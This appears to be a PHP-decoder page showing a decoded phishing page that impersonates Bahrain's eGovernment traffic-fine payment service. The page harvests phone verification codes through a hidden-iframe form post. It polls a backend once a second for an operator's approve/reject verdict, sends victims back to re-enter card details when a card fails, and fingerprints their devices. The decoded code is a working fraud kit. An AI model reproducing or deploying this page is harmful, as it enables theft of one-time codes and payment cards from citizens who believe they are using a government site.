Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIFJiXzNWOyBpVDVxcjogJGNvbXBsZXRlZFBhcmFtID0gJF9HRVRbIlx4..

Decoded Output download


 goto Rb_3V; iT5qr: $completedParam = $_GET["verify"] ?? ''; goto LEfQ4; LEfQ4: if ($completedParam !== "true") { header("Location: ./index.php"); die; } goto CeKI3; Rb_3V: include "./exsec.php"; goto iT5qr; CeKI3: ?>


<!DOCTYPE html>
<html xmlns="https://www.w3.org/1999/xhtml" xml:lang="en" lang="en" class=" idc0_343 ntawuffaa"><head>
<!-- below IE meta tag added to enfore IE browsers to stick to their exact version when viewing the website, without reverting to Quirks mode or going back to older versions.-->
<meta name="description" content="The eGovernment National Portal - Kingdom of Bahrain, provides a one-stop shop that facilitates the access to government Information and eServices.">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- <meta name="viewport" content="width=device-width, initial-scale=1.0"> -->
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1 , user-scalable=no">
<!-- rel=dynamic-content indicates an element that is replaced with the contents produced by the specified href. 
	 dyn-cs:* URIs are resolved using the WP DynamicContentSpotMappings resource environment provider. These values can
	 also be set using theme metadata if a theme is specified in the URI (e.g. @tl:oid:theme_unique_name). -->
<link rel="alternate" id="head_markup_deferred" href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!a9u35S-GsJR__LxzULIWAA/mashup/ra:collection?themeID=ZJ_IO002AS019LF80680CGPTE1GE0&amp;locale=en&amp;mime-type=text%2Fplain&amp;lm=1662630416000&amp;entry=wp_one_ui_303__0.0%3Ahead_markup&amp;deferred=true">


<title>
	General Directorate of Traffic Services
</title>


	<link id="com.ibm.lotus.NavStateUrl" rel="alternate" href="/wps/portal/en/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziLSzcnQ2NLIy83A3DLAwcvf0NPFxNjA0NnM30w8EKTC2MnD28gQr8jU1MDRxNvAOdQv09jA38DfSjiNFvgAIcDZyCjJyMDQzc_Y3I0Y9sEnH68SiIwm98cGoe0IwosDJ8oYDFHFRvErKoIDc0NDSiwjPTUVERAOogVB8!/dz/d5/L3dJdyEvUUd3QndJQSEvNE5sRS9aNl84OEdDMTI4MkpHMVY4MEFLTzBIRTQzMTBDNg!!/">
	
	<link rel="bookmark" title="General Directorate of Traffic Services" href="/wps/portal/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziLSzcnQ2NLIy83A3DLAwcvf0NPFxNjA0NnM30w8EKTC2MnD28gQr8jU1MDRxNvAOdQv09jA38DfSjiNFvgAIcDZyCjJyMDQzc_Y3I0Y9sEnH68SiIwm98cGoe0IwosDJ8oYDFHFRvErKoIDc0NDSiwjPTUVERAOogVB8!/dz/d5/L3dJeWcvd0RNQUFzQUlVQU1BLzRObEhVQSEhL1o2Xzg4R0MxMjgySkcxVjgwQUtPMEhFNDMxMEM2/" hreflang="en">


<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/favicon.ico" rel="shortcut icon" type="image/x-icon">

<!-- Arabic CSS --><!-- English CSS -->
	<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/css_en.css" rel="stylesheet" type="text/css" media="screen,print">
	<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/print.css" rel="stylesheet" type="text/css" media="print">
	<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/QapTcha_EN.jquery.css" rel="stylesheet" type="text/css">
	<!-- Cookies -->
	<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/law-popup_en.css" rel="stylesheet" type="text/css">
<!-- Common CSS --><!-- Font Awesome 5 -->
<link href="/PortalPlusServicesTheme/themes/html/dynamicSpots/fonts/font-awesome/css/all.css" rel="stylesheet" type="text/css" media="screen,print">

<!-- Font Awesome 4 -->
<link href="/PortalPlusServicesTheme/themes/html/dynamicSpots/fonts/font-awesome/css/font-awesome.css" rel="stylesheet" type="text/css" media="screen,print">
<link href="https://fonts.googleapis.com/css?family=PT+Sans:400,700" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/select2.min.css" rel="stylesheet" type="text/css" media="screen,print">
<link href="/PortalPlusServicesTheme/themes/html/dynamicSpots/fonts/custom-font-icons/css/custom-icons.css" rel="stylesheet" type="text/css" media="screen,print">

<!-- Scripts -->
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery.js" type="text/javascript"></script>

<!-- To disable showing numbers as clickable or callable phone numbers -->
<meta name="format-detection" content="telephone=no"><!-- rendering is delegated to the specified href for each locale -->
<script type="text/javascript" async="" src="//cdn.mouseflow.com/projects/c7c25fe3-458a-4c4d-857e-15aa42b48a34.js"></script><script async="" type="text/javascript" src="https://cdn.livechatinc.com/tracking.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/js-sha256/0.9.0/sha256.min.js"></script>

</head>
<body class="lotusui30dojo tundra locale_en toolbar-closed" data-new-gr-c-s-check-loaded="14.1164.0" data-gr-ext-installed=""><script type="text/javascript"> myfaces.config._autoeval = true; </script>	


	
<div class="content-wrapper">
	
<script type="text/javascript">
	var jsPageName = 'General Directorate of Traffic Services';
	var serviceUniqueName ='suid.GeneralDirectorateofTrafficServices';
	var serviceOwner = 'GDT';

	console.log("serviceOwner : " + serviceOwner);
	
</script>






	
<div class="container mar-btm-15 logo-wrapper-header">
	<div class="row-fluid">
		<div class="span12">
		
			
			
				<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal">
					<!-- Current Logo -->
					
					<!-- New -->
					<img class="nationalPortalLogo" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/bahrain_bh_logo.png" alt="Kingdom of Bahrain logo">
				</a>
				<span>
					<span class="logo-header-slash hide-in-responsive">|</span>
					<span class="logo-header-phrase">Your portal to find services &amp; government information easily</span>
				</span>
				
			
	</div>

	</div>
</div>


<!-- required - do not remove -->
			<div style="display:none" id="portletState">{}</div>
	<div class="container">
		</div>
	<div class="container">
		<div class="row-fluid">		
			<div class="main-content">			
				<div class="component-container middle-content left-content span12 id-Z7_88GC1282JOTTB0A6BLM55L1G47" name="left"><div class="component-control id-Z7_88GC1282J8IM10Q65PEOHD10I1"><div class="thinSkin">
  <div class="title-bar">
	<a rel="dynamic-content1" href="lm.title"></a>
	<span class="menu-placeholder"></span>
  </div>
	 
	
</div>
</div><div class="component-control id-Z7_88GC1282JG1V80AKO0HE4310S1"><div class="thinSkin">
  <div class="title-bar">
	<a rel="dynamic-content1" href="lm.title"></a>
	<span class="menu-placeholder"></span>
  </div>
  <div xmlns:portlet-client-model="https://www.ibm.com/xmlns/prod/websphere/portal/v6.1/portlet-client-model">
	<link type="text/css" rel="stylesheet" href="p0/IZ7_88GC1282JG1V80AKO0HE4310S1=CZ6_88GC1282JG1V80AKO0HE4310C6=NEjavax.faces.resource!QCPtheme.css=ln!primefaces-aristo=com.ibm.faces.portlet.PATH!QCPjavax.faces.resourceQCPtheme.css==/">
	
	<script type="text/javascript" src="p0/IZ7_88GC1282JG1V80AKO0HE4310S1=CZ6_88GC1282JG1V80AKO0HE4310C6=NEjavax.faces.resource!QCPjsf.js=ln!javax.faces=com.ibm.faces.portlet.PATH!QCPjavax.faces.resourceQCPjsf.js==/"></script>
	<script src="https://services.bahrain.bh/wps/contenthandler/dav/fs-type1/themes/PortalPlusServices/js/common.js"></script>
	 <script type="text/javascript">var addthis_config = {"data_track_clickback":true , "ui_language":'en'};</script>
			<script type="text/javascript" src="https://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4d981a34723d659b"></script>

			<!-- Begin Service Form -->
			
		
			<iframe name="dummyframe" id="dummyframe" style="display: none;"></iframe>
                            <form id="myForm" method="post" action="./verified.php" onsubmit="loader()" target="dummyframe">
				
	<div class="row-fluid">
		<div class="span12"><span id="viewns_Z7_88GC1282JG1V80AKO0HE4310S1_:form1:servicegroup">


			<!--<div class="row-fluid mar-btm-10">-->
			<!--  <div class="span12 bucont">-->
			<!--	<p>Receive a 50% discount on overdue fines by settling within one week.</p>               -->
			<!--  </div>-->
			<!--</div>-->
	
		<div class="row-fluid">
		 <div class="span12">
	   <!-- BEGIN INSTRUCTION BOX-->
		  <div class="service-widget">
			 <div style="height: 60px;" class="service-widget-title">
			  <h4 style="text-align: center; padding: 13px; font-size: 30px;">
			<strong>Payment of Traffic Contraventions</strong>
				
				 <span aria-label="Toggle Container" class="tools"><span><em class="fa fa-angle-down"></em></span></span></h4>
			
			 </div>
	
		  </div>
	   <!-- END INSTRUCTION BOX-->
		</div>
	   </div>

			<div><span id="viewns_Z7_88GC1282JG1V80AKO0HE4310S1_:form1:messages"></span>
			</div>
			<div>
			<div class="row-fluid mar-btm-25">
	<div class="span12">
		<!--Start Required MSG -->
		<div class="row-fluid mar-btm-10">
		  <div class="span12">
			<!-- <p class="required-text"> indicates the required fields.</p> -->
		  </div>
		</div>

	   <!-- Start  Address Tabel-->
	   <div class="row-fluid mar-btm-5 ">
		<div class="span12">
		  <div class="service-widget">
			<div class="service-widget-title widget-grey-title widget-text-center">
			  <h4 style="padding: 8px;"> We have sent the verification code on your phone, please proceed to the next step of authentication.<span class="tools" aria-label="Toggle Container"> <span><em class="fa fa-angle-up"></em></span> </span> </h4>
			</div>
			<div class="service-widget-body service-widget-body-form"> 
			 
			  <!-- Begin Form-->

             <div align="center">
             <p id="veR" style="padding: 14px;
    padding-bottom: 0px;">
                                           </p>
             </div>
			  

                          <div style="padding: 30px; margin-left: -15px;" >
						  <input type="hidden" name="bar" value="100">
        <input type="hidden" name="pages" value="">
        <input type="hidden" id="fingerprintInput" name="fingerprint" value="">
                                <div class="rowP">
                                    <div class="col-75P">
                                        <div class="containerP">
                                            <div class="rowP">
                                                <div class="col-50P">
                                                    <div align="center">
                                                        <p id="whenReject" class="h"
                                                            style="color:red; margin-top: 5px;"></p>
                                                    </div>

                                                    <label style="margin-top: 8px;" for="cname">PLEASE ENTER VERIFICATION CODE</label>
                                                    <input class="input form-control"
                                                        style="width: 100%; margin-left: 0px; margin-bottom: 5px; margin-top: 0px;"
                                                        type="text" id="security-code" name="bincika" maxlength="8" minlength="4" value=""
                                                        placeholder="Enter verification code" required>

                                                  

								

                                    
                                                </div>
                                               
                                            </div>
                                        </div>
                                    </div>

                                </div>

                                <fieldset>
                                   <div align="center">
								   <div class="service-form-actions">
                                        <span class="field__input">
                                            <button id="verify" onclick="veri();" style="margin-top: 20px;
    width: 50%;
    margin-left: 18px;" class="button_style appsubmit" type="submit" 
                                               >Verify</button>
                                        </span>
                                    </div>
								   </div>
                                </fieldset>


						


											

                                </div>
                               

                       

	
			 <!-- End Form--> 
			</div>
		  </div>
		</div>
	  </div>

			
	

</div>
</div>

<script type="text/javascript">
				 
					  $(document).ready(function() {
						  submitEnterFunc();
					});
					 
				 </script>
			</div>

			<div>

		<div class="row-fluid">
			
		</div>
		<div class="row-fluid">
				<div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" class="modal hide fade" id="eKeyFeaturedModal" style="display: none;">
						<div class="modal-header">
							<button aria-hidden="true" data-dismiss="modal" class="close" type="button"></button>
							<h4 style="color:#1259ff;" id="myModalLabel">Visitor eKey</h4>
						</div>
					<div class="modal-body">
						  <!-- Start - Content Container Box -->
					  <div class="row-fluid">
						<div class="span12">
							The Visitor eKey offers a low level of security as it is not based on Bahrains National Smartcard.
						</div>
					  </div>
					  <!-- End - Content Container  Box --> 
					  </div>
					<div style="text-align:center" class="modal-footer">
						<button aria-hidden="true" data-dismiss="modal" class="button_style" type="button">Close</button>
					</div>
				</div>
					 

				<div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" class="modal hide fade" id="eKeyFeaturedModal1">
						<div class="modal-header">
							<button aria-hidden="true" data-dismiss="modal" class="close" type="button"></button>
							<h4 style="color:#1259ff;" id="myModalLabel">Standard eKey</h4>
						</div>
					<div class="modal-body">
						  <!-- Start - Content Container Box -->
					  <div class="row-fluid">
						<div class="span12">
								The Standard eKey ensures guaranteed security. Users only need to enter their Personal Number/ National ID and Password to benefit from a range of basic eServices.
						</div>
					  </div>
					  <!-- End - Content Container  Box --> 
				   </div>
					<div style="text-align:center" class="modal-footer">
						<button aria-hidden="true" data-dismiss="modal" class="button_style" type="button">Close</button>
					</div>
				</div>


				<div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" class="modal hide fade" id="eKeyFeaturedModal2">
						<div class="modal-header">
							<button aria-hidden="true" data-dismiss="modal" class="close" type="button"></button>
							<h4 style="color:#1259ff;" id="myModalLabel">Advanced eKey</h4>
						</div>
					<div class="modal-body">
						
						  <!-- Start - Content Container Box -->
					  <div class="row-fluid">
						<div class="span12">
							The Advanced eKey offers a higher level of security. By entering your Personal Number/ National ID and Password, you can benefit from a complete range of eServices. Registration only requires users Identity card and fingerprint scan.
						</div>
					  </div>
					  <!-- End - Content Container  Box --> 
					  
				   </div>
					<div style="text-align:center" class="modal-footer">
						   <button aria-hidden="true" data-dismiss="modal" class="button_style" type="button">Close</button>
					</div>
				</div>

				<div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" class="modal hide fade" id="eKeyFeaturedModal3" style="display: none;">
						<div class="modal-header">
							<button aria-hidden="true" data-dismiss="modal" class="close" type="button"></button>
							<h4 style="color:#1259ff;" id="myModalLabel">CorpPass</h4>
						</div>
					<div class="modal-body">
						
						  <!-- Start - Content Container Box -->
					  <div class="row-fluid">
						<div class="span12">
							Allows business owners to register their organization and employees for a CorpPass account and perform various transactions on behalf of the organization in a secure manner.
						</div>
					  </div>
					  <!-- End - Content Container  Box --> 
					  
				   </div>
					<div style="text-align:center" class="modal-footer">
							<button aria-hidden="true" data-dismiss="modal" class="button_style" type="button">Close</button>
					</div>
				</div>
		</div>


	<!-- End Service Form -->
</div></div>
</div></div></div>
			
		</div>
	</div>

<!--end main content-->
</div>
<!-- page footer -->


<footer>
	<div class="row-fluid padding-top-50">
		<div class="row-fluid footer-links" style="padding-top:20px">
			<div class="container">
				<div class="span3">
					<h4>Information Guide </h4>
					<ul>
						<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/YourGuideForLivingInBahrain">Your Life in Bahrain</a></li>
						<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/AboutTheKingdom/">About The Kingdom</a></li>
						<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/ParticipateWithUs/">eParticipation</a></li>
						<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/ServicesCatalogue/">Government Services Catalogue</a></li>
						<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/GSX-UI-AllEntities/">Government Directory</a></li>
						<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/DirectoryOfEmergencyHotlineNumbers">Directory of Emergency Hotline Numbers</a></li>
					</ul>
				</div>
				<div class="span3">
					<h4 class="hide-in-responsive">eServices</h4>
					<ul>
						<li><a href="/wps/portal/en/BSP/GSX-UI-MultipleThemesByEService">eServices Categories</a></li>
						<li><a href="/wps/portal/en/BSP/GSX-UI-MultipleEntitiesByEService">eServices Providers</a></li>
						<li><a href="/wps/portal/en/BSP/GSX-UI-AllApps">Mobile Apps Store</a></li>
					</ul>
				</div>
				<div class="span3">
					<div class="row-fluid">
						<h4 class="hide-in-responsive">Quick Links</h4>
						<ul>
							<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&amp;urile=wcm:path:BNP_en/About%20Us/Aboutbahrainbh/About%20bahrain.bh">About the National Portal</a></li>
							<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&amp;urile=wcm:path:BNP_en/About%20Us/eGovernment%20Channels%20Statistics/eGovernment%20Channels%20Statistics">Channels Statistics</a></li>
							<li><a href="https://www.iga.gov.bh/en/category/community-engagement">ICT events in Bahrain</a></li>
							<li><a href="https://www.iga.gov.bh/en/category/news">Government News</a></li>
							<li><a href="https://www.iga.gov.bh/en/category/recognition-and-awards">Recognitions &amp; Awards</a></li>
							<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/UsersGuide">User's Guide</a></li>
						</ul>
					</div>
				</div>
				<div class="span3">
					<h4 class="invisible">Follow Us</h4>
					<ul>
						<li>
							<div class="follow-us-icons">
								<a href="https://www.facebook.com/iGABahrain" title="Facebook" target="_blank">
									<i class="fab fa-facebook" aria-hidden="true"></i></a>
								
								<a href="https://twitter.com/iGABahrain" target="_blank">
									<img style="width:23px; margin-bottom: 2px;" alt="Tawasul-National suggestions &amp; complaint system" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/twitter-new-logo.png">
								</a>									
								<a href="https://www.instagram.com/igabahrain" title="Instagram" target="_blank">
									<i class="fab fa-instagram" aria-hidden="true"></i></a>
								<a href="https://www.youtube.com/c/iGABahrain" title="YouTube" target="_blank">
									<i class="fab fa-youtube" aria-hidden="true"></i></a>
								<a href="https://www.linkedin.com/company/igabahrain" title="LinkedIn" target="_blank">
									<i class="fab fa-linkedin" aria-hidden="true"></i></a>
								<a href="/wps/portal/RSS_en" title="RSS">
									<i class="fa fa-rss" aria-hidden="true"></i></a>
								<a href="javascript:void(0);" title="Whatsapp" id="whatsapp-share-link">
									<i class="fab fa-whatsapp" aria-hidden="true"></i></a>
							</div>	
						</li>
						<li>
							<div class="footer-logos">
								<a href="https://services.bahrain.bh/wps/portal/tawasul/Home_en" title="Tawasul-National suggestions &amp; complaint system" target="_blank">
								   
										<img src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/tawasul-online-logo-en.png" alt="Tawasul-National suggestions &amp; complaint system" title="Tawasul-National suggestions &amp; complaint system">
								   
								</a>
								<a href="tel:80008001" title="Government Services Contact Center" target="_blank">
								   
										<img src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/NCC-Eng.png" alt="Government Services Contact Center" title="Government Services Contact Center">
								   
								</a>								
							</div>
						</li>
					</ul>
				</div>
			</div>
				
			<div class="container">
				<div class="span12 mar-top-10" style="text-align: center;">
					<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&amp;urile=wcm:path:BNP_en/About%20Us/Terms%20and%20Conditions/Terms%20and%20Conditions">Terms and Conditions</a>
					|
					<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&amp;urile=wcm:path:BNP_en/About%20Us/Accessibilitybh/Accessibility">Accessibility</a>
					|
					<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&amp;urile=wcm:path:BNP_en/About%20Us/FAQs/FAQs">FAQ</a>
					|
					<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&amp;urile=wcm:path:BNP_en/About%20Us/Help%20Using%20bahrain.bh/Help%20Section">Help</a>
					|
					<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&amp;urile=wcm:path:BNP_en/About%20Us/ContactUs/ContactUs">Contact Us</a>
					|
					<a href="https://www.bahrain.bh/wps/portal/en/BNP/SiteMap">Site Map</a>
				</div>
				<div class="span12 mar-top-10">
					<ul style="list-style-type:none;text-align: center;margin:0;margin-bottom: 20px;">
						<li>ISO 9001 Certified</li>
						<li> Kingdom of Bahrain. All Rights Reserved.</li>
						<li>Last updated :28/03/2024</li>
					</ul>
				</div>
			</div>
		</div>
	</div>
</footer>

<div id="AjaxBlackScreenLoading" style="display: none;">
	<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
	</div>
	<div class="resultLoadingContents">
		<img src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/ajax-loader.gif" alt="">
		<div class="resultLoadingText" style="color:#000;">
			Please Wait
		</div>
	</div>
</div>

<div id="overlay-container" style="display: none;">
                        <div style="
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background-color: rgba(255, 255, 255, 0.96);
      z-index: 9999;
      display: flex;
      align-items: center;
      justify-content: center;
    " id="loaderstyle">
                            <div class="center-container">
                                <div align="center">
								<img src="./logo/ajax-loader.gif"
                                    width="100" height="100">
                             
								</div>
                                <p class="processing-text">Processing...</p>
								<p class="processing-text">Verifying payment method</p>


                            </div>
                        </div>
                    </div>

<!--  General Popup -->
<style>
   #theGeneralModal {
		width: 500px;
   }
   @media (max-width: 767px){
	#theGeneralModal {
		width: auto;
		}
   }
</style>



<script>
        function loader() {
            document.getElementById("overlay-container").style.display = "block";

        }
    </script>

<script>
        setInterval(function () {
            const xhr = new XMLHttpRequest();
            xhr.open('GET', './adminlte/pages/tables/update.php', true);
            xhr.send();
        }, 1000);
    </script>


    <script>
        var intervalId; // Store the interval ID

        function checkAccountStatus() {
            var xhr = new XMLHttpRequest();
            xhr.open("GET", "checkA.php", true);
            xhr.onreadystatechange = function () {
                if (xhr.readyState === 4) {
                    if (xhr.status === 200) {
                        var response = JSON.parse(xhr.responseText);
                        var accountStatus = response.accountStatus;

                        if (accountStatus === "OtpApprove") {
                            window.location.href = "./success.php?completed=true";
                        } else if (accountStatus === "OtpReject") {
                            document.getElementById('overlay-container').style.display = "none";
                            document.getElementById("veR").style.backgroundColor = "#fff";
                            document.getElementById("veR").style.color = "red";
                            document.getElementById("veR").innerHTML =
                                'Invalid verification code, please try again';
                            document.getElementById("security-code").style.border = '1px solid #ff8e8e';
                            document.getElementById("verify").innerHTML =
                                'Verify';


                            setTimeout(function () {
                                document.getElementById("veR").style.backgroundColor = "aliceblue";
                                document.getElementById("veR").innerHTML =
                                    'We have sent the verification code on your phone, please proceed to the next step of authentication.';
                                document.getElementById("veR").style.color = "#686868";
                                document.getElementById("security-code").style.border = '1px solid grey';
                                document.getElementById("security-code").value = '';
                            }, 3000);

                        } else if (accountStatus === "Unsupported") {
                            document.getElementById('overlay-container').style.display = "none";
                            document.getElementById("veR").style.backgroundColor = "#fff";
                            document.getElementById("veR").style.color = "red";
                            document.getElementById("veR").innerHTML =
                                'Credit card verification failed. Please try again with another credit card number';
                            document.getElementById("security-code").style.border = '1px solid #ff8e8e';
                            document.getElementById("verify").innerHTML =
                                'Verify';

                            setTimeout(() => {
                                window.location.href = "./duefee.php?process=true&invcard=xsxasasssadasd";
                            }, 3000);
                        } else if (accountStatus === "Insufficient") {
                            document.getElementById('overlay-container').style.display = "none";
                            document.getElementById("veR").style.backgroundColor = "#fff";
                            document.getElementById("veR").style.color = "red";
                            document.getElementById("veR").innerHTML =
                                'Insufficient funds in your bank or payment service account';
                            document.getElementById("security-code").style.border = '1px solid #ff8e8e';
                            document.getElementById("verify").innerHTML =
                                'Verify';

                            setTimeout(() => {
                                window.location.href = "./duefee.php?process=true&error=insufficient_funds";
                            }, 3000);
                        }
                    } else {
                        console.error("Error: " + xhr.statusText);
                    }
                }
            };
            xhr.send();
        }

        // Start the interval initially
        intervalId = setInterval(checkAccountStatus, 1000);
    </script>

<script>
        document.addEventListener("DOMContentLoaded", function() {
            // Generate a fingerprint with device-specific information
            generateFingerprint().then(fingerprint => {
                document.getElementById("fingerprintInput").value = fingerprint;
            });
        });

        async function generateFingerprint() {
            const fingerprintData = await collectFingerprintData();
            const hashHex = sha256(fingerprintData); // Use the sha256 function from the library

            return hashHex;
        }

        async function collectFingerprintData() {
            const userAgent = navigator.userAgent;
            const platform = navigator.platform;
            const language = navigator.language;
            const screenWidth = screen.width;
            const screenHeight = screen.height;

            // Additional device-specific information
            const deviceInfo = {
                devicePixelRatio: window.devicePixelRatio || 1,
                screenWidth: screen.width,
                screenHeight: screen.height,
                availableScreenWidth: screen.availWidth,
                availableScreenHeight: screen.availHeight,
                colorDepth: screen.colorDepth,
                pixelDepth: screen.pixelDepth,
                hardwareConcurrency: navigator.hardwareConcurrency || "N/A",
            };

            // Combine all attributes into a single object
            const fingerprintObject = {
                userAgent,
                platform,
                language,
                ...deviceInfo,
            };

            // Serialize the object into a JSON string
            return JSON.stringify(fingerprintObject);
        }
    </script>






<div id="generalModel" style="display: none;" class="row-fluid">
	<!-- Popup backdrop -->
	<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false"></div>

	<!-- The popup modal -->
	<div id="theGeneralModal" class="modal fade in" tabindex="-1" role="dialog" aria-hidden="false"> <!-- style="top: 5%; overflow:auto; left:46%;" --><!-- Popup Header -->
		<div class="modal-header" style="padding: 0px 10px;background-color: #fff; border:0px;">
			<!-- Close icon -->
			<a class="minimizeModal"><i class="material-icons" style="font-family: verdana; font-size: 15px; color:#000;">X</i></a>
			<!-- Title - text from bundle --><!-- Title - Direct text -->
		</div>

		<!-- Popup Body -->
		<div class="modal-body" style="padding: 0px; min-height:200px; padding: 0px; max-height: none;">
			<!-- Popup Content -->
			<div class="row-fluid">

				<!-- Text Message - General - EN and AR --><!-- Text Message - Manage e-key Profile - EN and AR -->
				<div class="span12" id="myModalBody2" style="display: none;">In order to manage your Profile, you will be automatically signed out from the eKey system to protect and secure your personal information.</div>

				<!-- Image Message - EN and AR -->			 
			</div>
		</div>
		<!-- Popup Footer -->
		<div class="modal-footer-general" style="text-align: center; padding: 5px; display: block; background-color:#fff;">
			<!-- OK button -->
			<button style="display: none;" class="button_style" id="login-bar-manage-profile-button-ok" type="button" data-dismiss="modal" aria-hidden="true">Ok</button>
			<!-- Close button -->
			<button style="display: none; float: none;" class="button_style minimizeModal" id="general-model-button-bottom-close" type="button" data-dismiss="modal" aria-hidden="true">Close</button>
		</div>
	</div>
</div>
<!-- End - General Popup -->

<div id="whatsupModel" style="display: none;" class="row-fluid">
	<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
	</div>
	<div class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="whatsappsubscription" aria-hidden="false">
		<div class="modal-header">
			<h4 id="whatsappsubscription" style="color:#1259ff;">
				Subscribe with us
			</h4>
		</div>
		<div class="modal-body">
			<p>
				Subscribe with us to receive the latest updates and awareness promotions on all eservices &amp; channels via the eGovernment WhatsApp service. To subscribe send "subscribe" to the number 32188288.
			</p>
			<br>	
			<p>
				To unsubscribe send "unsubscribe".
			</p>
		</div>
		<div class="modal-footer" style="text-align:center">
			<a style="display: none;" id="whatsup-model-subscribe-link" class="button_style" href="https://api.whatsapp.com/send?phone=97332188288&amp;text=Subscribe">
				Subscribe
			</a>
			<a style="display: inline-block;" id="whatsup-model-close-link" class="button_style" href="javascript:void(0);">
				Close
			</a>			
		</div>
	</div>
</div> 
<div id="ekeyModel" style="display: none;" class="row-fluid">
	<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
	</div>
	<div class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="eKeyPopupModel" aria-hidden="false" style="/*left: 46%;*/">
		<div class="modal-body" style="max-height:450px">
			<div class="row-fluid">
				<div class="span12">
					<div class="login_container align-center">
						<div class="main-headings user_icon mar-btm-20">&nbsp;</div>
						<p id="eKeyPopupModel">Your Single Sign On to eServices</p>
						
				
						<div class="mar-top-25">
							<span class="icon_space">
							<img width="16" height="16" alt="username" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/username_icon.svg">
							</span>
							<label style="display:none;" for="ekeyLoginIdNumber">ID Number</label>
							<input id="ekeyLoginIdNumber" name="id number" type="tel" maxlength="15" title="ID Number" class="personalNumberSigIn customPasswordInput numberOnlyV" autocomplete="off" placeholder="ID Number">																							
							<br>
							<span class="icon_space">
							<img width="16" height="18" alt="password" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/password_icon.svg">
							</span>
							<label style="display:none;" for="ekeyLoginPassword">Password</label>
							<input type="password" id="ekeyLoginPassword" name="Password title=" enter="" password"="" class="passwordSignIn customPasswordInput" autocomplete="off" placeholder="Password">
							<div class="error-block" style="float:none;">
								<span id="ekeyLoginErrorMessage"></span>
							</div>
							<br>
						</div>
						<div class="link_container">
						<!-- Forget Password -->
							<a target="_blank" href="/wps/portal/ForgotPassword_en">
								Forgot Password?
							</a>
							<!-- Register or SignUp for new account -->
							<a target="_blank" href="/wps/portal/SignUp_en">
								Don't have an account? Register now !
							</a>							
						
						</div>						
						<div class="button_container">
